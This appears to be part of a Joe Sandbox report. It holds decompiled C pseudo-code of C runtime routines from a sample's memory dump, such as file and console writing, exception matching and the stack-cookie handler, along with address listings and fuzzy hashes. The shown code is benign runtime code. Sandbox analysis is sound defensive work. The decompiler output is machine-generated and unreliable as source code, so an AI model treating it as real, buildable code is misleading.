          									_v60 = _t201;
          									if(_t201 != 0) {
          										if(WriteFile(_v104,  &_v44, _t201,  &_v96, _t263) == 0) {
          											L50:
          											 *_t299 = GetLastError();
          										} else {
          											_t286 = _v48;
          											_t207 =  *((intOrPtr*)(_t299 + 8)) - _v100 + _t286;
          											_v76 = _t207;
          											 *(_t299 + 4) = _t207;
          											if(_v96 >= _v60) {
          												if(_v49 != 0xa) {
          													L38:
          													if(_t286 < _v88) {
          														_t266 = _v116;
          														continue;
          													}
          												} else {
          													_t209 = 0xd;
          													_v92 = _t209;
          													if(WriteFile(_v104,  &_v92, 1,  &_v96, _t263) == 0) {
          														goto L50;
          													} else {
          														if(_v96 >= 1) {
          															 *((intOrPtr*)(_t299 + 8)) =  *((intOrPtr*)(_t299 + 8)) + 1;
          															 *(_t299 + 4) =  &(( *(_t299 + 4))[1]);
          															_t286 = _v48;
          															_v76 =  *(_t299 + 4);
          															goto L38;
          														}
          													}
          												}
          											}
          										}
          									}
          								}
          							}
          						}
          						goto L51;
          						L22:
          						_t271 =  *(0x4160f8 + _t190 * 4);
          						_v80 = _t271;
          						_t191 =  *((intOrPtr*)(_t271 + _t293 + 0x2d));
          						__eflags = _t191 & 0x00000004;
          						if((_t191 & 0x00000004) == 0) {
          							_t271 =  *_t286 & 0x000000ff;
          							_t194 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
          							__eflags =  *((intOrPtr*)(_t194 + _t271 * 2)) - _t263;
          							if( *((intOrPtr*)(_t194 + _t271 * 2)) >= _t263) {
          								_push(_v64);
          								_push(1);
          								_push(_t286);
          								goto L29;
          							} else {
          								_t214 =  &(_t286[1]);
          								_v60 = _t214;
          								__eflags = _t214 - _v88;
          								if(_t214 >= _v88) {
          									 *((char*)(_v80 + _t293 + 0x2e)) =  *_t286;
          									 *( *((intOrPtr*)(0x4160f8 + _v72 * 4)) + _t293 + 0x2d) =  *( *((intOrPtr*)(0x4160f8 + _v72 * 4)) + _t293 + 0x2d) | 0x00000004;
          									 *(_t299 + 4) =  &(_v76[1]);
          								} else {
          									_t221 = E0040942F(_t271, _t286,  &_v68, _t286, 2, _v64);
          									_t308 = _t307 + 0x10;
          									__eflags = _t221 - 0xffffffff;
          									if(_t221 != 0xffffffff) {
          										_t197 = _v60;
          										goto L31;
          									}
          								}
          							}
          						} else {
          							_push(_v64);
          							_v36 =  *(_t271 + _t293 + 0x2e) & 0x000000fb;
          							_t224 =  *_t286;
          							_v35 = _t224;
          							 *((char*)(_t271 + _t293 + 0x2d)) = _t224;
          							_push(2);
          							_push( &_v36);
          							L29:
          							_push( &_v68);
          							_t196 = E0040942F(_t271, _t286);
          							_t308 = _t307 + 0x10;
          							__eflags = _t196 - 0xffffffff;
          							if(_t196 != 0xffffffff) {
          								_t197 = _v48;
          								goto L31;
          							}
          						}
          						goto L51;
          					}
          				}
          				L51:
          				 *[fs:0x0] = _v16;
          				_pop(_t292);
          				_pop(_t300);
          				_pop(_t262);
          				__eflags = _v20 ^ _t305;
          				return E004018D4(_t299, _t262, _v20 ^ _t305, _t286, _t292, _t300);
          				goto L52;
          			}



















































































          0x00409f92
          0x00409f94
          0x00409f9f
          0x00409fa0
          0x00409fa3
          0x00409fa8
          0x00409faa
          0x00409fb0
          0x00409fb4
          0x00409fba
          0x00409fbf
          0x00409fc5
          0x00409fc8
          0x00409fcb
          0x00409fce
          0x00409fd1
          0x00409fd4
          0x00409fde
          0x00409fe5
          0x00409fed
          0x00409ff0
          0x00409ff6
          0x00409ffa
          0x00409ffd
          0x0040a001
          0x0040a001
          0x0040a009
          0x0040a00e
          0x0040a013
          0x0040a014
          0x0040a017
          0x0040a018
          0x0040a019
          0x0040a01c
          0x0040a01e
          0x0040a024
          0x0040a02a
          0x0040a02d
          0x0040a02f
          0x0040a032
          0x0040a034
          0x0040a037
          0x0040a03a
          0x0040a03d
          0x0040a04a
          0x00000000
          0x00000000
          0x0040a057
          0x0040a05c
          0x0040a05e
          0x0040a061
          0x0040a066
          0x0040a067
          0x0040a06b
          0x00000000
          0x00000000
          0x00000000
          0x0040a06b
          0x0040a070
          0x0040a072
          0x0040a077
          0x0040a12b
          0x0040a12c
          0x0040a12f
          0x0040a131
          0x0040a2e9
          0x0040a2eb
          0x00000000
          0x0040a2ed
          0x0040a2ed
          0x0040a2f0
          0x0040a2ff
          0x0040a303
          0x0040a304
          0x0040a304
          0x00000000
          0x0040a308
          0x00000000
          0x0040a137
          0x0040a13c
          0x0040a13f
          0x0040a142
          0x0040a148
          0x0040a151
          0x0040a15c
          0x0040a161
          0x0040a164
          0x0040a167
          0x0040a16d
          0x00000000
          0x0040a16d
          0x0040a167
          0x0040a07d
          0x0040a08a
          0x0040a08b
          0x0040a08e
          0x0040a090
          0x0040a095
          0x0040a2bc
          0x0040a2be
          0x0040a2c0
          0x0040a2c3
          0x0040a2c6
          0x0040a2d3
          0x0040a2d6
          0x0040a2d8
          0x0040a2d9
          0x0040a2dd
          0x0040a2dd
          0x0040a2e1
          0x0040a2e1
          0x0040a2e1
          0x0040a2e4
          0x0040a2e4
          0x0040a09b
          0x0040a09b
          0x0040a09d
          0x0040a0a0
          0x0040a0a2
          0x0040a0a6
          0x0040a0a7
          0x0040a0a8
          0x0040a0ac
          0x0040a0af
          0x0040a0b3
          0x0040a0bd
          0x0040a0c2
          0x0040a0c5
          0x0040a0c5
          0x0040a0c8
          0x0040a0cb
          0x0040a0cd
          0x0040a0d0
          0x0040a0d9
          0x0040a0dd
          0x0040a0de
          0x0040a0e5
          0x0040a0eb
          0x0040a0f3
          0x0040a0fe
          0x0040a103
          0x0040a10e
          0x0040a113
          0x0040a119
          0x0040a170
          0x0040a176
          0x0040a20b
          0x0040a210
          0x0040a222
          0x0040a227
          0x0040a22a
          0x0040a22f
          0x0040a24a
          0x0040a32b
          0x0040a331
          0x0040a250
          0x0040a256
          0x0040a259
          0x0040a25b
          0x0040a25e
          0x0040a267
          0x0040a271
          0x0040a2af
          0x0040a2b2
          0x0040a2b4
          0x00000000
          0x0040a2b4
          0x0040a273
          0x0040a275
          0x0040a277
          0x0040a290
          0x00000000
          0x0040a296
          0x0040a29a
          0x0040a2a0
          0x0040a2a3
          0x0040a2a9
          0x0040a2ac
          0x00000000
          0x0040a2ac
          0x0040a29a
          0x0040a290
          0x0040a271
          0x0040a267
          0x0040a24a
          0x0040a22f
          0x0040a119
          0x0040a095
          0x00000000
          0x0040a17c
          0x0040a17c
          0x0040a183
          0x0040a186
          0x0040a18a
          0x0040a18d
          0x0040a1b0
          0x0040a1b6
          0x0040a1b8
          0x0040a1bc
          0x0040a1ed
          0x0040a1f0
          0x0040a1f2
          0x00000000
          0x0040a1be
          0x0040a1be
          0x0040a1c1
          0x0040a1c4
          0x0040a1c7
          0x0040a30f
          0x0040a31d
          0x0040a326
          0x0040a1cd
          0x0040a1d7
          0x0040a1dc
          0x0040a1df
          0x0040a1e2
          0x0040a1e8
          0x00000000
          0x0040a1e8
          0x0040a1e2
          0x0040a1c7
          0x0040a18f
          0x0040a196
          0x0040a199
          0x0040a19c
          0x0040a19e
          0x0040a1a1
          0x0040a1a8
          0x0040a1aa
          0x0040a1f3
          0x0040a1f6
          0x0040a1f7
          0x0040a1fc
          0x0040a1ff
          0x0040a202
          0x0040a208
          0x00000000
          0x0040a208
          0x0040a202
          0x00000000
          0x0040a18d
          0x0040a032
          0x0040a333
          0x0040a338
          0x0040a340
          0x0040a341
          0x0040a342
          0x0040a346
          0x0040a34e
          0x00000000

          APIs
          • GetConsoleOutputCP.KERNEL32(0B34C714,00000000,00000000,00000008), ref: 00409FF0
            • Part of subcall function 00407464: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00409C6B,?,00000000,-00000008), ref: 004074C5
          • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040A242
          • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0040A288
          • GetLastError.KERNEL32 ref: 0040A32B
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
          • String ID:
          • API String ID: 2112829910-0
          • Opcode ID: 2b1a9ec60bbf1f36d0f4081ed5637648e80784a725bb53bc0c30928046e37d39
          • Instruction ID: 286eb15663e9a8c4fe1ad12a89817a662dc5e0061b0541279607a600132331f4
          • Opcode Fuzzy Hash: 2b1a9ec60bbf1f36d0f4081ed5637648e80784a725bb53bc0c30928046e37d39
          • Instruction Fuzzy Hash: 47D18BB5D042589FCB14CFA8C8809EDBBB4FF08304F14817AE866FB391D634A956CB55
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 66%
          			E00403694(void* __ebx, void* __edi, void* __esi, void* __eflags) {
          				signed int* _t52;
          				signed int _t53;
          				intOrPtr _t54;
          				signed int _t58;
          				signed int _t61;
          				intOrPtr _t71;
          				signed int _t75;
          				signed int _t79;
          				signed int _t81;
          				signed int _t84;
          				signed int _t85;
          				signed int _t97;
          				signed int* _t98;
          				signed char* _t101;
          				signed int _t107;
          				void* _t111;
          
          				_push(0x10);
          				_push(0x413518);
          				E00401EE0(__ebx, __edi, __esi);
          				_t75 = 0;
          				_t52 =  *(_t111 + 0x10);
          				_t81 = _t52[1];
          				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
          					L30:
          					_t53 = 0;
          					__eflags = 0;
          					goto L31;
          				} else {
          					_t97 = _t52[2];
          					if(_t97 != 0 ||  *_t52 < 0) {
          						_t84 =  *_t52;
          						_t107 =  *(_t111 + 0xc);
          						if(_t84 >= 0) {
          							_t107 = _t107 + 0xc + _t97;
          						}
          						 *(_t111 - 4) = _t75;
          						_t101 =  *(_t111 + 0x14);
          						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
          							L10:
          							_t54 =  *((intOrPtr*)(_t111 + 8));
          							__eflags = _t84 & 0x00000008;
          							if((_t84 & 0x00000008) == 0) {
          								__eflags =  *_t101 & 0x00000001;
          								if(( *_t101 & 0x00000001) == 0) {
          									_t84 =  *(_t54 + 0x18);
          									__eflags = _t101[0x18] - _t75;
          									if(_t101[0x18] != _t75) {
          										__eflags = _t84;
          										if(_t84 == 0) {
          											goto L32;
          										} else {
          											__eflags = _t107;
          											if(_t107 == 0) {
          												goto L32;
          											} else {
          												__eflags =  *_t101 & 0x00000004;
          												_t79 = 0;
          												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
          												__eflags = _t75;
          												 *(_t111 - 0x20) = _t75;
          												goto L29;
          											}
          										}
          									} else {
          										__eflags = _t84;
          										if(_t84 == 0) {
          											goto L32;
          										} else {
          											__eflags = _t107;
          											if(_t107 == 0) {
          												goto L32;
          											} else {
          												E00403120(_t107, E00402768(_t84,  &(_t101[8])), _t101[0x14]);
          												goto L29;
          											}
          										}
          									}
          								} else {
          									__eflags =  *(_t54 + 0x18);
          									if( *(_t54 + 0x18) == 0) {
          										goto L32;
          									} else {
          										__eflags = _t107;
          										if(_t107 == 0) {
          											goto L32;
          										} else {
          											E00403120(_t107,  *(_t54 + 0x18), _t101[0x14]);
          											__eflags = _t101[0x14] - 4;
          											if(_t101[0x14] == 4) {
          												__eflags =  *_t107;
          												if( *_t107 != 0) {
          													_push( &(_t101[8]));
          													_push( *_t107);
          													goto L21;
          												}
          											}
          											goto L29;
          										}
          									}
          								}
          							} else {
          								_t84 =  *(_t54 + 0x18);
          								goto L12;
          							}
          						} else {
          							_t71 =  *0x415c6c; // 0x0
          							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
          							if(_t71 == 0) {
          								goto L10;
          							} else {
          								 *0x40e160();
          								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
          								L12:
          								if(_t84 == 0 || _t107 == 0) {
          									L32:
          									E0040579A(_t75, _t84, _t97, _t107);
          									asm("int3");
          									_push(8);
          									_push(0x413538);
          									E00401EE0(_t75, _t101, _t107);
          									_t98 =  *(_t111 + 0x10);
          									_t85 =  *(_t111 + 0xc);
          									__eflags =  *_t98;
          									if(__eflags >= 0) {
          										_t103 = _t85 + 0xc + _t98[2];
          										__eflags = _t85 + 0xc + _t98[2];
          									} else {
          										_t103 = _t85;
          									}
          									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
          									_t108 =  *(_t111 + 0x14);
          									_push( *(_t111 + 0x14));
          									_push(_t98);
          									_push(_t85);
          									_t77 =  *((intOrPtr*)(_t111 + 8));
          									_push( *((intOrPtr*)(_t111 + 8)));
          									_t58 = E00403694(_t77, _t103, _t108, __eflags) - 1;
          									__eflags = _t58;
          									if(_t58 == 0) {
          										_t61 = E00404404(_t103, _t108[0x18], E00402768( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
          									} else {
          										_t61 = _t58 - 1;
          										__eflags = _t61;
          										if(_t61 == 0) {
          											_t61 = E00404414(_t103, _t108[0x18], E00402768( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
          										}
          									}
          									 *(_t111 - 4) = 0xfffffffe;
          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
          									return _t61;
          								} else {
          									 *_t107 = _t84;
          									_push( &(_t101[8]));
          									_push(_t84);
          									L21:
          									 *_t107 = E00402768();
          									L29:
          									 *(_t111 - 4) = 0xfffffffe;
          									_t53 = _t75;
          									L31:
          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
          									return _t53;
          								}
          							}
          						}
          					} else {
          						goto L30;
          					}
          				}
          			}



















          0x00403694
          0x00403696
          0x0040369b
          0x004036a0
          0x004036a2
          0x004036a5
          0x004036aa
          0x004037ba
          0x004037ba
          0x004037ba
          0x00000000
          0x004036b9
          0x004036b9
          0x004036be
          0x004036c8
          0x004036ca
          0x004036cf
          0x004036d4
          0x004036d4
          0x004036d6
          0x004036d9
          0x004036de
          0x00403700
          0x00403700
          0x00403703
          0x00403706
          0x00403724
          0x00403727
          0x00403766
          0x00403769
          0x0040376c
          0x00403791
          0x00403793
          0x00000000
          0x00403795
          0x00403795
          0x00403797
          0x00000000
          0x00403799
          0x00403799
          0x0040379e
          0x004037a2
          0x004037a2
          0x004037a3
          0x00000000
          0x004037a3
          0x00403797
          0x0040376e
          0x0040376e
          0x00403770
          0x00000000
          0x00403772
          0x00403772
          0x00403774
          0x00000000
          0x00403776
          0x00403787
          0x00000000
          0x0040378c
          0x00403774
          0x00403770
          0x00403729
          0x00403729
          0x0040372d
          0x00000000
          0x00403733
          0x00403733
          0x00403735
          0x00000000
          0x0040373b
          0x00403742
          0x0040374a
          0x0040374e
          0x00403750
          0x00403753
          0x00403758
          0x00403759
          0x00000000
          0x00403759
          0x00403753
          0x00000000
          0x0040374e
          0x00403735
          0x0040372d
          0x00403708
          0x00403708
          0x00000000
          0x00403708
          0x004036e5
          0x004036e5
          0x004036ea
          0x004036ef
          0x00000000
          0x004036f1
          0x004036f3
          0x004036fc
          0x0040370b
          0x0040370d
          0x004037cc
          0x004037cc
          0x004037d1
          0x004037d2
          0x004037d4
          0x004037d9
          0x004037de
          0x004037e1
          0x004037e4
          0x004037e7
          0x004037f0
          0x004037f0
          0x004037e9
          0x004037e9
          0x004037e9
          0x004037f3
          0x004037f7
          0x004037fa
          0x004037fb
          0x004037fc
          0x004037fd
          0x00403800
          0x00403809
          0x00403809
          0x0040380c
          0x00403842
          0x0040380e
          0x0040380e
          0x0040380e
          0x00403811
          0x00403828
          0x00403828
          0x00403811
          0x00403847
          0x00403851
          0x0040385d
          0x0040371b
          0x0040371b
          0x00403720
          0x00403721
          0x0040375b
          0x00403762
          0x004037a6
          0x004037a6
          0x004037ad
          0x004037bc
          0x004037bf
          0x004037cb
          0x004037cb
          0x0040370d
          0x004036ef
          0x00000000
          0x00000000
          0x00000000
          0x004036be

          APIs
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: AdjustPointer
          • String ID:
          • API String ID: 1740715915-0
          • Opcode ID: 545f8a9253608014606d57981c5e6b4fc05d413ea05323f44a6b83220745b28c
          • Instruction ID: c36bffaf7fe8f9e15fcbe67479aef6d6b820bcd02780ea586b95a92c856a1c7e
          • Opcode Fuzzy Hash: 545f8a9253608014606d57981c5e6b4fc05d413ea05323f44a6b83220745b28c
          • Instruction Fuzzy Hash: E45103F6600202AFDB299F21C840B6A7BA9EF40B06F14813FE805672D1D739EE41C798
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040B766(void* _a4, long _a8, DWORD* _a12) {
          				void* _t13;
          
          				_t13 = WriteConsoleW( *0x415880, _a4, _a8, _a12, 0);
          				if(_t13 == 0 && GetLastError() == 6) {
          					E0040B74F();
          					E0040B711();
          					_t13 = WriteConsoleW( *0x415880, _a4, _a8, _a12, _t13);
          				}
          				return _t13;
          			}




          0x0040b783
          0x0040b787
          0x0040b794
          0x0040b799
          0x0040b7b4
          0x0040b7b4
          0x0040b7ba

          APIs
          • WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0040AF20,00000000,00000001,?,00000008,?,0040A37F,00000008,00000000,00000000), ref: 0040B77D
          • GetLastError.KERNEL32(?,0040AF20,00000000,00000001,?,00000008,?,0040A37F,00000008,00000000,00000000,00000008,00000008,?,0040A922,00000000), ref: 0040B789
            • Part of subcall function 0040B74F: CloseHandle.KERNEL32(FFFFFFFE,0040B799,?,0040AF20,00000000,00000001,?,00000008,?,0040A37F,00000008,00000000,00000000,00000008,00000008), ref: 0040B75F
          • ___initconout.LIBCMT ref: 0040B799
            • Part of subcall function 0040B711: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0040B740,0040AF0D,00000008,?,0040A37F,00000008,00000000,00000000,00000008), ref: 0040B724
          • WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0040AF20,00000000,00000001,?,00000008,?,0040A37F,00000008,00000000,00000000,00000008), ref: 0040B7AE
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
          • String ID:
          • API String ID: 2744216297-0
          • Opcode ID: 0cf35d0622a046613081d4d5705aad4e630b2f1f256b3374397953c6fad5f189
          • Instruction ID: 9be2d2e95ebdf4ca364c863a04f8f34c4778b8d92ece9612039581527531bafd
          • Opcode Fuzzy Hash: 0cf35d0622a046613081d4d5705aad4e630b2f1f256b3374397953c6fad5f189
          • Instruction Fuzzy Hash: 72F01236400124BBCF162F96DC049CA3F65EB883B1B008435FA18A6161C7318870DBD8
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 65%
          			E00403C90(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
          				signed int _v8;
          				signed int _v12;
          				intOrPtr* _v16;
          				signed int _v20;
          				char _v24;
          				intOrPtr _v28;
          				signed int _v36;
          				void* _v40;
          				intOrPtr _v44;
          				signed int _v48;
          				intOrPtr _v56;
          				void _v60;
          				signed char* _v68;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				void* _t74;
          				void* _t75;
          				char _t76;
          				signed char _t78;
          				signed int _t80;
          				signed char* _t81;
          				signed int _t82;
          				signed int _t83;
          				intOrPtr* _t87;
          				void* _t90;
          				signed char* _t93;
          				intOrPtr* _t96;
          				signed char _t97;
          				intOrPtr _t98;
          				intOrPtr _t99;
          				intOrPtr* _t101;
          				signed int _t102;
          				signed int _t103;
          				signed char _t108;
          				signed char* _t111;
          				signed int _t112;
          				signed char* _t116;
          				void* _t121;
          				signed int _t123;
          				void* _t130;
          				void* _t131;
          
          				_t110 = __edx;
          				_t100 = __ecx;
          				_t96 = _a4;
          				if( *_t96 == 0x80000003) {
          					return _t74;
          				} else {
          					_push(_t121);
          					_t75 = E004029B3(_t96, __ecx, __edx, _t121);
          					if( *((intOrPtr*)(_t75 + 8)) != 0) {
          						__imp__EncodePointer(0);
          						_t121 = _t75;
          						if( *((intOrPtr*)(E004029B3(_t96, __ecx, __edx, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
          							_t87 = E00402E31(__edx, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
          							_t130 = _t130 + 0x1c;
          							if(_t87 != 0) {
          								L16:
          								return _t87;
          							}
          						}
          					}
          					_t76 = _a20;
          					_v24 = _t76;
          					_v20 = 0;
          					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
          						_push(_a28);
          						E00402D64(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
          						_t112 = _v36;
          						_t131 = _t130 + 0x18;
          						_t87 = _v40;
          						_v16 = _t87;
          						_v8 = _t112;
          						if(_t112 < _v28) {
          							_t102 = _t112 * 0x14;
          							_v12 = _t102;
          							do {
          								_t103 = 5;
          								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
          								_t131 = _t131 + 0xc;
          								if(_v60 <= _t90 && _t90 <= _v56) {
          									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
          									_t108 = _t93[4];
          									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
          										if(( *_t93 & 0x00000040) == 0) {
          											_push(0);
          											_push(1);
          											E0040386B(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
          											_t112 = _v8;
          											_t131 = _t131 + 0x30;
          										}
          									}
          								}
          								_t112 = _t112 + 1;
          								_t87 = _v16;
          								_t102 = _v12 + 0x14;
          								_v8 = _t112;
          								_v12 = _t102;
          							} while (_t112 < _v28);
          						}
          						goto L16;
          					}
          					E0040579A(_t96, _t100, _t110, _t121);
          					asm("int3");
          					_t111 = _v68;
          					_push(_t96);
          					_push(_t121);
          					_push(0);
          					_t78 = _t111[4];
          					if(_t78 == 0) {
          						L41:
          						_t80 = 1;
          					} else {
          						_t101 = _t78 + 8;
          						if( *_t101 == 0) {
          							goto L41;
          						} else {
          							_t116 = _a4;
          							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
          								_t97 = _t116[4];
          								_t123 = 0;
          								if(_t78 == _t97) {
          									L33:
          									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
          										_t81 = _a8;
          										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
          											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
          												_t123 = 1;
          											}
          										}
          									}
          									_t80 = _t123;
          								} else {
          									_t59 = _t97 + 8; // 0x6e
          									_t82 = _t59;
          									while(1) {
          										_t98 =  *_t101;
          										if(_t98 !=  *_t82) {
          											break;
          										}
          										if(_t98 == 0) {
          											L29:
          											_t83 = _t123;
          										} else {
          											_t99 =  *((intOrPtr*)(_t101 + 1));
          											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
          												break;
          											} else {
          												_t101 = _t101 + 2;
          												_t82 = _t82 + 2;
          												if(_t99 != 0) {
          													continue;
          												} else {
          													goto L29;
          												}
          											}
          										}
          										L31:
          										if(_t83 == 0) {
          											goto L33;
          										} else {
          											_t80 = 0;
          										}
          										goto L42;
          									}
          									asm("sbb eax, eax");
          									_t83 = _t82 | 0x00000001;
          									goto L31;
          								}
          							} else {
          								goto L41;
          							}
          						}
          					}
          					L42:
          					return _t80;
          				}
          			}













































          0x00403c90
          0x00403c90
          0x00403c97
          0x00403ca0
          0x00403dbf
          0x00403ca6
          0x00403ca6
          0x00403ca8
          0x00403cb2
          0x00403cb5
          0x00403cbb
          0x00403cc5
          0x00403cea
          0x00403cef
          0x00403cf4
          0x00403dbb
          0x00000000
          0x00403dbc
          0x00403cf4
          0x00403cc5
          0x00403cfa
          0x00403cfd
          0x00403d00
          0x00403d06
          0x00403d0c
          0x00403d1e
          0x00403d23
          0x00403d26
          0x00403d29
          0x00403d2c
          0x00403d2f
          0x00403d35
          0x00403d3b
          0x00403d3e
          0x00403d41
          0x00403d50
          0x00403d51
          0x00403d51
          0x00403d56
          0x00403d69
          0x00403d6b
          0x00403d70
          0x00403d7b
          0x00403d7d
          0x00403d7f
          0x00403d9b
          0x00403da0
          0x00403da3
          0x00403da3
          0x00403d7b
          0x00403d70
          0x00403da9
          0x00403daa
          0x00403dad
          0x00403db0
          0x00403db3
          0x00403db6
          0x00403d41
          0x00000000
          0x00403d35
          0x00403dc0
          0x00403dc5
          0x00403dc9
          0x00403dcc
          0x00403dcd
          0x00403dce
          0x00403dcf
          0x00403dd4
          0x00403e4c
          0x00403e4e
          0x00403dd6
          0x00403dd6
          0x00403ddc
          0x00000000
          0x00403dde
          0x00403de1
          0x00403de4
          0x00403deb
          0x00403dee
          0x00403df2
          0x00403e24
          0x00403e27
          0x00403e2e
          0x00403e34
          0x00403e3e
          0x00403e47
          0x00403e47
          0x00403e3e
          0x00403e34
          0x00403e48
          0x00403df4
          0x00403df4
          0x00403df4
          0x00403df7
          0x00403df7
          0x00403dfb
          0x00000000
          0x00000000
          0x00403dff
          0x00403e13
          0x00403e13
          0x00403e01
          0x00403e01
          0x00403e07
          0x00000000
          0x00403e09
          0x00403e09
          0x00403e0c
          0x00403e11
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403e11
          0x00403e07
          0x00403e1c
          0x00403e1e
          0x00000000
          0x00403e20
          0x00403e20
          0x00403e20
          0x00000000
          0x00403e1e
          0x00403e17
          0x00403e19
          0x00000000
          0x00403e19
          0x00000000
          0x00000000
          0x00000000
          0x00403de4
          0x00403ddc
          0x00403e4f
          0x00403e53
          0x00403e53

          APIs
          • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00403CB5
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: EncodePointer
          • String ID: MOC$RCC
          • API String ID: 2118026453-2084237596
          • Opcode ID: eca3ff77fe2c4482fc0436b7e2b81c3f6b64dd45eb89c22104b1787426b2fa34
          • Instruction ID: 27d9d21774ce73f4523aea127e5a37313707127f13db8d93af602d3374e0ea50
          • Opcode Fuzzy Hash: eca3ff77fe2c4482fc0436b7e2b81c3f6b64dd45eb89c22104b1787426b2fa34
          • Instruction Fuzzy Hash: E9415B72900109EFCF16DF94CE81AEEBBB9BF48305F1840AAF905B7291D3399A50DB54
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 91%
          			E004018D4(void* __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
          				intOrPtr _v0;
          				void* _v808;
          				int _t10;
          				intOrPtr _t15;
          				signed int _t16;
          				signed int _t18;
          				signed int _t20;
          				intOrPtr _t23;
          				intOrPtr _t24;
          				intOrPtr _t25;
          				intOrPtr _t26;
          				intOrPtr _t27;
          				intOrPtr _t28;
          				intOrPtr _t29;
          				intOrPtr* _t31;
          				intOrPtr* _t33;
          				void* _t36;
          
          				_t29 = __esi;
          				_t28 = __edi;
          				_t27 = __edx;
          				_t24 = __ecx;
          				_t23 = __ebx;
          				_t36 = _t24 -  *0x415010; // 0xb34c714
          				if(_t36 != 0) {
          					_t31 = _t33;
          					_t10 = IsProcessorFeaturePresent(0x17);
          					if(_t10 != 0) {
          						_t24 = 2;
          						asm("int 0x29");
          					}
          					 *0x415a48 = _t10;
          					 *0x415a44 = _t24;
          					 *0x415a40 = _t27;
          					 *0x415a3c = _t23;
          					 *0x415a38 = _t29;
          					 *0x415a34 = _t28;
          					 *0x415a60 = ss;
          					 *0x415a54 = cs;
          					 *0x415a30 = ds;
          					 *0x415a2c = es;
          					 *0x415a28 = fs;
          					 *0x415a24 = gs;
          					asm("pushfd");
          					_pop( *0x415a58);
          					 *0x415a4c =  *_t31;
          					 *0x415a50 = _v0;
          					 *0x415a5c =  &_a4;
          					 *0x415998 = 0x10001;
          					_t15 =  *0x415a50; // 0x0
          					 *0x415954 = _t15;
          					 *0x415948 = 0xc0000409;
          					 *0x41594c = 1;
          					 *0x415958 = 1;
          					_t16 = 4;
          					 *((intOrPtr*)(0x41595c + _t16 * 0)) = 2;
          					_t18 = 4;
          					_t25 =  *0x415010; // 0xb34c714
          					 *((intOrPtr*)(_t31 + _t18 * 0 - 8)) = _t25;
          					_t20 = 4;
          					_t26 =  *0x415014; // 0xf4cb38eb
          					 *((intOrPtr*)(_t31 + (_t20 << 0) - 8)) = _t26;
          					return E00401F2A("HYA");
          				} else {
          					return __eax;
          				}
          			}




















          0x004018d4
          0x004018d4
          0x004018d4
          0x004018d4
          0x004018d4
          0x004018d4
          0x004018da
          0x00401f53
          0x00401f5d
          0x00401f65
          0x00401f69
          0x00401f6a
          0x00401f6a
          0x00401f6c
          0x00401f71
          0x00401f77
          0x00401f7d
